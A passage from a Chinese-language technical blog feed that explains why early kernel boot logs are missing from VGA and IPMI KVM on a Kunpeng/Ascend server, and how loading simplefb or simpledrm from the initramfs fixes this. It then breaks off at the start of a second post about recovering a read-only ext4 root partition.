&lt;h1 id=&quot;qi-wei-shen-me-zao-qi-nei-he-ri-zhi-kan-bu-dao-fb-qu-dong-de-jia-zai-shi-ji-mang-qu&quot;&gt;七、为什么早期内核日志看不到？——fb 驱动的加载时机盲区&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;7-1-wen-ti-ben-zhi&quot;&gt;7.1 问题本质&lt;&#x2F;h2&gt;
&lt;p&gt;fb 驱动若是&lt;strong&gt;模块&lt;&#x2F;strong&gt;（=m），要等根文件系统挂载、udev 运行（约开机 1 秒后）才加载；更早的内核日志（EFI stub 之后到 initramfs&#x2F;udev 之前）已经只进了串口和 dmesg ring buffer，&lt;strong&gt;fbcon 接管时不会&quot;回放&quot;启动日志&lt;&#x2F;strong&gt;（最多重画当前 VT 屏存的最后一屏）。所以即使修好了，VGA 也只能看到&quot;驱动加载之后&quot;的输出。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 验证&amp;quot;最后接入点&amp;quot;：dmesg 中 fb0 注册的时间戳（4055s = 运行中手动加载；重启后则是 initramfs&amp;#x2F;udev 阶段）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;7-2-rang-fb-qu-dong-ti-qian-initramfs-built-in&quot;&gt;7.2 让 fb 驱动提前：initramfs &#x2F; built-in&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;方案&lt;&#x2F;th&gt;&lt;th&gt;生效时机&lt;&#x2F;th&gt;&lt;th&gt;代价&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;udev 规则（根系统）&lt;&#x2F;td&gt;&lt;td&gt;~1s 后（udev 阶段）&lt;&#x2F;td&gt;&lt;td&gt;简单，但早期日志仍缺&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;initramfs 提前加载&lt;&#x2F;strong&gt;（&lt;code&gt;&#x2F;etc&#x2F;initramfs-tools&#x2F;modules&lt;&#x2F;code&gt;）&lt;&#x2F;td&gt;&lt;td&gt;initramfs 阶段起（约 1s，比 udev 早，根挂载前 fb0 就绪）&lt;&#x2F;td&gt;&lt;td&gt;需重建 initrd；模块一加载即自动绑定（见下）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;驱动编译为 built-in (=y)&lt;&#x2F;td&gt;&lt;td&gt;开机 ~0.4s（驱动先注册，sysfb 设备一出现即绑）&lt;&#x2F;td&gt;&lt;td&gt;本发行版 FB_SIMPLE&#x2F;DRM_SIMPLEDRM 都是 =m，需自编&#x2F;换内核&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;关键机制（初稿在此处判错过，修正）：&lt;strong&gt;simplefb 与 simpledrm 加载后都会立刻按名字自动绑定&lt;&#x2F;strong&gt;（驱动名 = &lt;code&gt;simple-framebuffer&lt;&#x2F;code&gt; = 设备名），所以塞进 initramfs&#x2F;模块列表都有效，&lt;strong&gt;不需要任何 udev 规则或 override&lt;&#x2F;strong&gt;。自动加载（autoload）盲区只在&quot;没有任何加载动作&quot;时存在：两个模块都只导出 &lt;code&gt;of:N...&lt;&#x2F;code&gt; 别名、没有 &lt;code&gt;platform:simple-framebuffer&lt;&#x2F;code&gt; 别名，udev 按设备 modalias 找不到可加载的模块——但只要 initramfs &lt;code&gt;&#x2F;etc&#x2F;initramfs-tools&#x2F;modules&lt;&#x2F;code&gt; 或根系统 &lt;code&gt;modules-load.d&lt;&#x2F;code&gt; 显式 modprobe，绑定即刻发生。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;7-3-ben-ji-yi-zuo-de-pei-zhi-186-nei-he-dai-zhong-qi-yan-zheng&quot;&gt;7.3 本机已做的配置（186 内核，待重启验证）&lt;&#x2F;h2&gt;
&lt;p&gt;107 没有 simpledrm，所以 initramfs 方案绑定 186（选择 simpledrm 而非 simplefb 的理由：simpledrm 额外提供 &lt;code&gt;&#x2F;dev&#x2F;dri&#x2F;card0&lt;&#x2F;code&gt;，为将来跑 GUI 留路；纯日志目标两者等价）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# &amp;#x2F;etc&amp;#x2F;initramfs-tools&amp;#x2F;modules 追加（先备份）
sudo cp -n &amp;#x2F;etc&amp;#x2F;initramfs-tools&amp;#x2F;modules &amp;#x2F;etc&amp;#x2F;initramfs-tools&amp;#x2F;modules.bak-20260909
echo simpledrm | sudo tee -a &amp;#x2F;etc&amp;#x2F;initramfs-tools&amp;#x2F;modules

sudo update-initramfs -u -k 5.15.0-186-generic
# 验证模块与依赖确实进了 initrd（simpledrm 依赖 drm&amp;#x2F;drm_kms_helper&amp;#x2F;fb_sys_fops&amp;#x2F;syscopyarea&amp;#x2F;sysfillrect&amp;#x2F;sysimgblt&amp;#x2F;cec&amp;#x2F;rc-core 共 9 个 ko）
lsinitramfs &amp;#x2F;boot&amp;#x2F;initrd.img-5.15.0-186-generic | grep -E &amp;quot;simpledrm|drm_kms_helper|fb_sys_fops|sysimgblt&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;107 已按同法处理并&lt;strong&gt;重启验证通过&lt;&#x2F;strong&gt;（2026-09-09）：&lt;code&gt;&#x2F;etc&#x2F;initramfs-tools&#x2F;modules&lt;&#x2F;code&gt; 改为 &lt;code&gt;simplefb&lt;&#x2F;code&gt;（107&#x2F;186 模块集都有它；186 的 initrd 此前已按 simpledrm 生成，两内核各自生效、互不影响）。重启后实测时间轴（这台机器启动很慢，内核设备初始化 ~11s 才 Run &#x2F;init）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[ 0.78s] Freeing initrd memory
[10.82s] Run &amp;#x2F;init as init process        ← initramfs 开始
[17.70s] simple-framebuffer.0: fb0: simplefb registered!   ← initramfs 阶段绑定
[19.14s] EXT4-fs (sda2): mounted          ← 根挂载（之后才轮到真实 udev）
[19.31s] systemd[1]: systemd 249 ... running
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;fb0 在根挂载前就绪 → &lt;strong&gt;VGA 显示覆盖 initramfs 阶段起的全部内容&lt;&#x2F;strong&gt;。若日后 186 想从 simpledrm 换回&#x2F;换用 simplefb：编辑 modules 文件（先加载者先绑设备）并 &lt;code&gt;update-initramfs -u -k 5.15.0-186-generic&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;重启验证用&lt;strong&gt;单次引导&lt;&#x2F;strong&gt;（NPU 驱动挑内核的疑虑未消除前不固化默认内核，见第九节）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo systemctl stop libvirtd        # 上次重启因 libvirt 保存 VM 的 inhibitor 卡 20 分钟
sudo grub-reboot &amp;quot;Advanced options for Ubuntu&amp;gt;Ubuntu, with Linux 5.15.0-186-generic&amp;quot;   # 仅下一次启动生效
sudo systemctl reboot
# 期望：dmesg 早期出现 simple-framebuffer fb0 &amp;#x2F; simpledrm 注册，VGA 从 initramfs 阶段起有字
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;为何不直接换默认内核：107 被 hold 是因为查到华为 NPU 驱动（昇腾 310P）在高版本内核可能有问题（待确认）。186 与 107 同属 5.15 大版本、仅 SRU 点版本差异，风险理论很低，但仍用 grub-reboot 单次验证，出问题重启即回 107（GRUB 默认仍指向 107）。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h1 id=&quot;ba-graphical-target-zhi-mi-wei-shen-me-shi-tui-er-bu-shi-gui&quot;&gt;八、graphical.target 之谜：为什么是 TUI 而不是 GUI？&lt;&#x2F;h1&gt;
&lt;p&gt;排查中发现 &lt;code&gt;systemctl get-default&lt;&#x2F;code&gt; 是 &lt;code&gt;graphical.target&lt;&#x2F;code&gt;，但 VGA&#x2F;HDMI 上始终是 TTY——查证结果：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ systemctl get-default
graphical.target
$ ls &amp;#x2F;etc&amp;#x2F;systemd&amp;#x2F;system&amp;#x2F;display-manager.service   # 不存在
$ dpkg -l | grep -E &amp;quot;gdm3|lightdm|sddm|gnome-shell&amp;quot;  # 什么都没装
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;结论：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;graphical.target 只是 systemd 开关&lt;&#x2F;strong&gt;，唯一实质动作是拉起 &lt;code&gt;display-manager.service&lt;&#x2F;code&gt;；机器上根本没装任何显示管理器（连服务软链都不存在），所以 graphical.target 与 multi-user.target 效果完全一样——没有 DM 就没有进程画 GUI，屏幕只能是 fbcon 文本终端。多半是装 plymouth 或某组件时被顺手设的，无害但无意义。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;GUI 也依赖 fb&#x2F;DRM&lt;&#x2F;strong&gt;：fb&#x2F;DRM 是地基、GUI 是房子。没有 fb0&#x2F;DRM 时显示服务器（Xorg&#x2F;Wayland）根本无法启动（没有 scanout 目标）。所以&quot;先让 fb 工作&quot;是 GUI 的前提，与 target 无关——这也是为什么过去 graphical.target 挂着、VGA 却一直黑屏。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;HDMI 与 web IPMI 看到同一份画面&lt;&#x2F;strong&gt;是正常的：这台机器物理 VGA&#x2F;HDMI 和 IPMI KVM 视频都来自 iBMC 对同一显存窗口（Hi171x BAR0 = e4000000）的采集。&lt;&#x2F;li&gt;
&lt;li&gt;若将来要跑真 GUI：simplefb 是纯 fbdev（无 &#x2F;dev&#x2F;dri），只能 Xorg+fbdev 老模式；现代 GNOME&#x2F;Wayland 需要 DRM 设备——186 + simpledrm 才有 &lt;code&gt;&#x2F;dev&#x2F;dri&#x2F;card0&lt;&#x2F;code&gt;（simpledrm 同时提供 &#x2F;dev&#x2F;fb0）。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;jiu-dui-zhao-chuan-kou-wei-shen-me-neng-kan-quan-qi-dong-ri-zhi-earlycon-console-ji-zhi&quot;&gt;九、对照：串口为什么能看全启动日志？（earlycon &#x2F; console 机制）&lt;&#x2F;h1&gt;
&lt;p&gt;VGA 看不全早期日志，串口却能——这正好引出一段经常混淆的机制（排查时对照本机 SPCR 输出很有用）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;9-1-console-ttys0-yu-earlycon-shi-liang-hui-shi&quot;&gt;9.1 console=ttyS0 与 earlycon 是两回事&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;console=ttyS0,115200&lt;&#x2F;code&gt;：走正常 console 框架（printk → console 子系统 → serial8250 console → UART）。&lt;strong&gt;console 注册和 tty 驱动初始化路径不同&lt;&#x2F;strong&gt;：console 在 start_kernel 早期就能注册并开始输出，而 &lt;code&gt;&#x2F;dev&#x2F;ttyS0&lt;&#x2F;code&gt; 是之后 serial 驱动 probe 才诞生的设备节点——console 输出不依赖 &#x2F;dev&#x2F;ttyS0 存在。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;earlycon=...&lt;&#x2F;code&gt;：真正的&quot;驱动框架还没初始化&quot;之前的输出。内核直接按参数给的&lt;strong&gt;类型 + 地址&lt;&#x2F;strong&gt;操作寄存器，不经过任何设备模型。例如 &lt;code&gt;earlycon=uart8250,io,0x3f8,115200&lt;&#x2F;code&gt;：内核知道这是 8250&#x2F;16550 兼容 UART，用固定寄存器布局（THR=+0、IER=+1、LCR=+3、LSR=+5…），轮询 LSR 的 THRE 位后直接写 THR。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;9-2-ying-jian-di-zhi-cong-na-lai&quot;&gt;9.2 硬件地址从哪来？&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;平台&lt;&#x2F;th&gt;&lt;th&gt;earlycon&#x2F;console 如何知道 UART 在哪&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;传统 x86&lt;&#x2F;td&gt;&lt;td&gt;固定 legacy 地址：ttyS0=COM1@0x3f8、ttyS1=COM2@0x2f8、ttyS2=COM3@0x3e8、ttyS3=COM4@0x2e8（注意：ACPI 时代 ttyS0 编号由枚举顺序决定，不再保证等于 COM1）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;ARM&#x2F;ARM64（DT）&lt;&#x2F;td&gt;&lt;td&gt;device tree：&lt;code&gt;stdout-path = &quot;serial0:115200n8&quot;&lt;&#x2F;code&gt; 或 earlycon 无参时读 DT&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;ACPI 机器&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ACPI SPCR 表&lt;&#x2F;strong&gt;：固件声明&quot;控制台 UART 的类型&#x2F;地址&#x2F;波特率&quot;。本机 dmesg：&lt;code&gt;ACPI: SPCR: console: uart,mmio,0x3f00002f8,115200&lt;&#x2F;code&gt; → 于是 &lt;code&gt;console [ttyS0] enabled&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;EFI stub 阶段&lt;&#x2F;td&gt;&lt;td&gt;根本不是内核在输出——是 &lt;strong&gt;UEFI Simple Text Output（ConOut）&lt;&#x2F;strong&gt;，走 GOP 画面&#x2F;串口&#x2F;SOL 由固件配置决定。本机&quot;EFI stub 三行&quot;= 固件通过 GOP 画到 VGA&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;9-3-wei-shen-me-bu-shi-suo-you-chuan-kou-du-neng-earlycon&quot;&gt;9.3 为什么&quot;不是所有串口都能 earlycon&quot;？&lt;&#x2F;h2&gt;
&lt;p&gt;PCI 串口（需要先枚举 PCI、找 BAR）无法用于最早期输出；传统固定 I&#x2F;O 端口（0x3f8 类）和 ARM SoC 固定 MMIO UART 最容易做 earlycon。ARM64 上还有 EFI 引导时会话：SPCR 常与&quot;固件串口重定向&quot;配套，即使内核参数里没写 console=，SPCR 也能让日志落到串口（这正是本机最初&quot;无 console= 时日志全走串口&quot;的原因）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;9-4-yu-ben-ji-xian-xiang-dui-qi-lai&quot;&gt;9.4 与本机现象对起来&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;串口（面板 &amp;#x2F; SOL &amp;#x2F; telnet）：EFI 阶段有 → earlycon&amp;#x2F;SPCR → console [ttyS0] → 全程可见
VGA（HDMI &amp;#x2F; IPMI KVM）：EFI stub 三行（固件 GOP）→ 内核阶段：tty0 注册了但 fbcon 挂 dummy
     → fb 驱动加载后：fbcon 接管，从加载时刻起可见（早期日志缺失）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;一句话：&lt;strong&gt;串口通道在&quot;内核刚醒来&quot;就有 SPCR&#x2F;earlycon 兜底，VGA 通道要等 fb 驱动出现才有画面来源&lt;&#x2F;strong&gt;——两个通道的&quot;最早可见时刻&quot;不同，不是同一个机制。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;9-5-zhui-wen-wei-shen-me-kvm-kan-dao-de-bi-sol-shao-na-me-duo-gu-jian-diao-shi-kou-vs-conout-printk-hui-fang&quot;&gt;9.5 追问：为什么 KVM 看到的比 SOL 少那么多？（固件调试口 vs ConOut，printk 回放）&lt;&#x2F;h2&gt;
&lt;p&gt;对比同一台机器 SOL 与 web IPMI KVM 的实际输出，差异分三段，全部是机制使然：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;① 固件阶段（&lt;code&gt;SasBase=...&lt;&#x2F;code&gt;、&lt;code&gt;Initialize PCIe RAS&lt;&#x2F;code&gt;、&lt;code&gt;[Bds]Booting ubuntu&lt;&#x2F;code&gt;、&lt;code&gt;XHCI HC reset&lt;&#x2F;code&gt;、&lt;code&gt;IPMI ExitBootService Event&lt;&#x2F;code&gt;、&lt;code&gt;BIOS boot completed&lt;&#x2F;code&gt;）——SOL 有、KVM 无：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;SOL 拿到的是 BIOS 的&lt;strong&gt;串口调试日志&lt;&#x2F;strong&gt;（serial debug console）——华为 BIOS 几乎所有阶段文本都只写这个口，从不经过显示设备；&lt;&#x2F;li&gt;
&lt;li&gt;KVM&#x2F;VGA 只能看到 **UEFI ConOut（GOP 图形文本）**真正画出来的内容（本机即&quot;EFI stub 三行&quot;）。&lt;code&gt;SmiGraphicsOutputQueryMode&lt;&#x2F;code&gt; 这类 VGA 驱动查模式的日志也是串口调试输出，不上屏。&lt;&#x2F;li&gt;
&lt;li&gt;固件阶段&quot;调试日志 ≠ 显示输出&quot;，两套通道内容源不同。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;② 内核早期（&lt;code&gt;Booting Linux on physical CPU 0x...&lt;&#x2F;code&gt; 到 ACPI RSDP 等几百行）——SOL 全量、KVM 全无：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;此时 printk 控制台尚未就绪：&lt;code&gt;console [tty0]&lt;&#x2F;code&gt; 0.0005s 注册但无 fb 驱动可画（dummy，不产生像素）；&lt;code&gt;console [ttyS0]&lt;&#x2F;code&gt; 0.774s 才注册；&lt;&#x2F;li&gt;
&lt;li&gt;printk 输出先进&lt;strong&gt;环形缓冲&lt;&#x2F;strong&gt;（dmesg），第一个 console 注册时&lt;strong&gt;整体回放&lt;&#x2F;strong&gt; → 0.774s ttyS0 一注册就把从第一行起的全部日志吐到串口 → SOL 完整；&lt;&#x2F;li&gt;
&lt;li&gt;VGA 侧没有驱动就没有画面来源，等 fb0（本机 initramfs ~17.7s）出现时&lt;strong&gt;不会重放 ring buffer&lt;&#x2F;strong&gt; → 早期日志只存在于 SOL&#x2F;dmesg。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;③ fb0 之后（initramfs 起）——&quot;屏幕&quot; vs &quot;终端流&quot;：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;KVM 只显示&lt;strong&gt;当前一屏&lt;&#x2F;strong&gt;（本机 640×480 → fbcon 80×30 字符 ≈ 30 行），新输出顶掉旧行；SOL 是终端流，客户端保留全部历史可回滚；&lt;&#x2F;li&gt;
&lt;li&gt;userspace 阶段 journald 收日志，console 上只剩内核消息 + getty → KVM 长时间静止的登录界面，观感差距更大。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;结论&lt;&#x2F;strong&gt;：SOL = 全量日志流（固件调试口 + printk 回放 + 终端滚动），KVM = 实时屏幕（ConOut + fbcon 当前屏，无历史无回放）。从头看日志用 SOL&#x2F;dmesg；KVM 只看&quot;此刻画面&quot;——与 fb 修复无关，是通道设计差异。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;shi-xian-zhuang-yu-dai-ban&quot;&gt;十、现状与待办&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input disabled=&quot;&quot; type=&quot;checkbox&quot; checked=&quot;&quot;&#x2F;&gt;
console=tty0 注册（实验，无副作用，配置保留）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;input disabled=&quot;&quot; type=&quot;checkbox&quot; checked=&quot;&quot;&#x2F;&gt;
确认 screen_info&#x2F;GOP 有效（BOOTFB + simple-framebuffer.0 证据）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;input disabled=&quot;&quot; type=&quot;checkbox&quot; checked=&quot;&quot;&#x2F;&gt;
107 现场点亮 VGA（modprobe simplefb 即自动绑定）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;input disabled=&quot;&quot; type=&quot;checkbox&quot; checked=&quot;&quot;&#x2F;&gt;
澄清绑定机制：驱动名=设备名（simple-framebuffer），DT&#x2F;override 都不需要（5.1 弯路记录）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;input disabled=&quot;&quot; type=&quot;checkbox&quot; checked=&quot;&quot;&#x2F;&gt;
186 initrd 打入 simpledrm（update-initramfs + lsinitramfs 验证依赖齐全）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;input disabled=&quot;&quot; type=&quot;checkbox&quot; checked=&quot;&quot;&#x2F;&gt;
&lt;strong&gt;107 initramfs 持久化 + 重启验证&lt;&#x2F;strong&gt;（simplefb 入 107 initrd；重启后 fb0 于 initramfs 阶段绑定，[17.7s] &amp;lt; 根挂载 [19.1s]，见 7.3）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;input disabled=&quot;&quot; type=&quot;checkbox&quot;&#x2F;&gt;
重启进 186 验证 initramfs 方案（grub-reboot 单次引导，见 7.3）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;input disabled=&quot;&quot; type=&quot;checkbox&quot;&#x2F;&gt;
确认华为 NPU 驱动在 186 上的兼容性（107 hold 的原始顾虑）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;input disabled=&quot;&quot; type=&quot;checkbox&quot;&#x2F;&gt;
（可选）确认 640×480 GOP 模式能否调大 &#x2F; 是否需要&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;回退方法（与旧文一致）：&lt;code&gt;sudo cp &#x2F;etc&#x2F;default&#x2F;grub.bak-tty0 &#x2F;etc&#x2F;default&#x2F;grub &amp;amp;&amp;amp; sudo update-grub&lt;&#x2F;code&gt; 可整体还原命令行；&lt;code&gt;console=ttyS0,115200 console=tty0&lt;&#x2F;code&gt; 保留本身无副作用（tty0 挂不上 fb 时只是哑设备）。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;shi-yi-pai-cha-ming-ling-qing-dan-fu-yong&quot;&gt;十一、排查命令清单（复用）&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cat &amp;#x2F;proc&amp;#x2F;cmdline                                  # 看有没有 console=
cat &amp;#x2F;proc&amp;#x2F;iomem | grep -B3 -A3 BOOTFB              # GOP 帧缓冲区段（尺寸可反推分辨率：0x12c000=640×480×32）
ls &amp;#x2F;sys&amp;#x2F;bus&amp;#x2F;platform&amp;#x2F;devices&amp;#x2F; | grep -i framebuffer  # sysfb 是否已注册 simple-framebuffer 设备（有没有驱动在等）
ls &amp;#x2F;sys&amp;#x2F;bus&amp;#x2F;platform&amp;#x2F;devices&amp;#x2F;simple-framebuffer.0&amp;#x2F;driver 2&amp;gt;&amp;amp;1  # 空 = 没绑定
grep -E &amp;quot;^CONFIG_(SYSFB|SYSFB_SIMPLEFB|FB_EFI|FB_SIMPLE|DRM_SIMPLEDRM)&amp;quot; &amp;#x2F;boot&amp;#x2F;config-$(uname -r)
find &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;modules&amp;#x2F;$(uname -r)&amp;#x2F;kernel -name &amp;quot;*.ko*&amp;quot; | grep -iE &amp;quot;simple|efifb&amp;quot;  # 模块库存
sudo modprobe simplefb                            # 加载即自动绑定（驱动名=simple-framebuffer）
# 手动解绑&amp;#x2F;重绑（注意驱动目录名是 simple-framebuffer，不是 simplefb）：
#   echo simple-framebuffer.0 &amp;gt; &amp;#x2F;sys&amp;#x2F;bus&amp;#x2F;platform&amp;#x2F;drivers&amp;#x2F;simple-framebuffer&amp;#x2F;unbind
#   echo simple-framebuffer.0 &amp;gt; &amp;#x2F;sys&amp;#x2F;bus&amp;#x2F;platform&amp;#x2F;drivers&amp;#x2F;simple-framebuffer&amp;#x2F;bind
sudo dmesg | grep -E &amp;quot;simple-framebuffer|Console: switching|fb[0-9]:&amp;quot;
ls &amp;#x2F;sys&amp;#x2F;class&amp;#x2F;graphics&amp;#x2F; &amp;amp;&amp;amp; cat &amp;#x2F;sys&amp;#x2F;class&amp;#x2F;vtconsole&amp;#x2F;vtcon*&amp;#x2F;name
sudo fbset -i                                   # fb0 分辨率&amp;#x2F;位深（无 fbset 可读 virtual_size&amp;#x2F;bits_per_pixel）
# initramfs 方案（simplefb&amp;#x2F;simpledrm 均可，加载即绑定；无需 udev 规则&amp;#x2F;override）
echo simpledrm | sudo tee -a &amp;#x2F;etc&amp;#x2F;initramfs-tools&amp;#x2F;modules
sudo update-initramfs -u -k 5.15.0-186-generic
lsinitramfs &amp;#x2F;boot&amp;#x2F;initrd.img-5.15.0-186-generic | grep -E &amp;quot;simpledrm|drm_kms_helper|fb_sys_fops&amp;quot;
# 单次引导测试内核
sudo grub-reboot &amp;quot;Advanced options for Ubuntu&amp;gt;Ubuntu, with Linux 5.15.0-186-generic&amp;quot;
# 串口机制对照
sudo dmesg | grep -E &amp;quot;SPCR|earlycon|console \[tty&amp;quot;   # SPCR&amp;#x2F;earlycon&amp;#x2F;console 注册链
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>昇腾服务器根分区只读故障：ext4 日志中止 → 远程 fsck + IPMI 全程修复记录</title>
        <published>2026-09-08T22:43:33+08:00</published>
        <updated>2026-09-08T22:43:33+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/09/ext4-rootfs-readonly-recovery/"/>
        <id>https://vercel.juzhong.asia/2026/09/ext4-rootfs-readonly-recovery/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/09/ext4-rootfs-readonly-recovery/">&lt;h1 id=&quot;yi-bei-jing-yu-shi-gu-huan-jing&quot;&gt;一、背景与事故环境&lt;&#x2F;h1&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;项&lt;&#x2F;th&gt;&lt;th&gt;值&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;服务器&lt;&#x2F;td&gt;&lt;td&gt;鲲鹏 920 aarch64 &#x2F; 128 核 &#x2F; 250GB 内存（TaiShan 200 Model 2280）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;加速卡&lt;&#x2F;td&gt;&lt;td&gt;2× Atlas 300I Duo = 4× 310P3，每芯 44GB LPDDR4X&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;系统盘&lt;&#x2F;td&gt;&lt;td&gt;&#x2F;dev&#x2F;sda 500GB（单盘无 RAID），&#x2F;dev&#x2F;sda2 为 ext4 根分区&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;数据盘&lt;&#x2F;td&gt;&lt;td&gt;&#x2F;dev&#x2F;sdb2 8.7TB，挂载于 &#x2F;data（模型权重等大数据）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;BMC&lt;&#x2F;td&gt;&lt;td&gt;iBMC 3.03.00.69（Web 192.168.6.100，无独立 SOL 客户端功能）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;业务&lt;&#x2F;td&gt;&lt;td&gt;vLLM 推理服务（Qwen3.8-27B w8a8）、虚拟机 u24、ollama、opencode-web&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;一句话结论&lt;&#x2F;strong&gt;：根分区只读是 &lt;strong&gt;&#x2F;dev&#x2F;sda 块层真实 I&#x2F;O 失败&lt;&#x2F;strong&gt;（一次 WRITE + 一次 DISCARD，扇区约 250GB 偏移）→ ext4 journal abort → 内核自我保护重挂 RO。恢复路径：&lt;strong&gt;initramfs 停在 BusyBox 等待人工 fsck → ipmitool SOL 直连 → &lt;code&gt;fsck.ext4 -fy &#x2F;dev&#x2F;sda2&lt;&#x2F;code&gt; → 重启&lt;&#x2F;strong&gt;，一次成功。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;er-shi-gu-shi-jian-xian&quot;&gt;二、事故时间线&lt;&#x2F;h1&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;时间（CST）&lt;&#x2F;th&gt;&lt;th&gt;事件&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
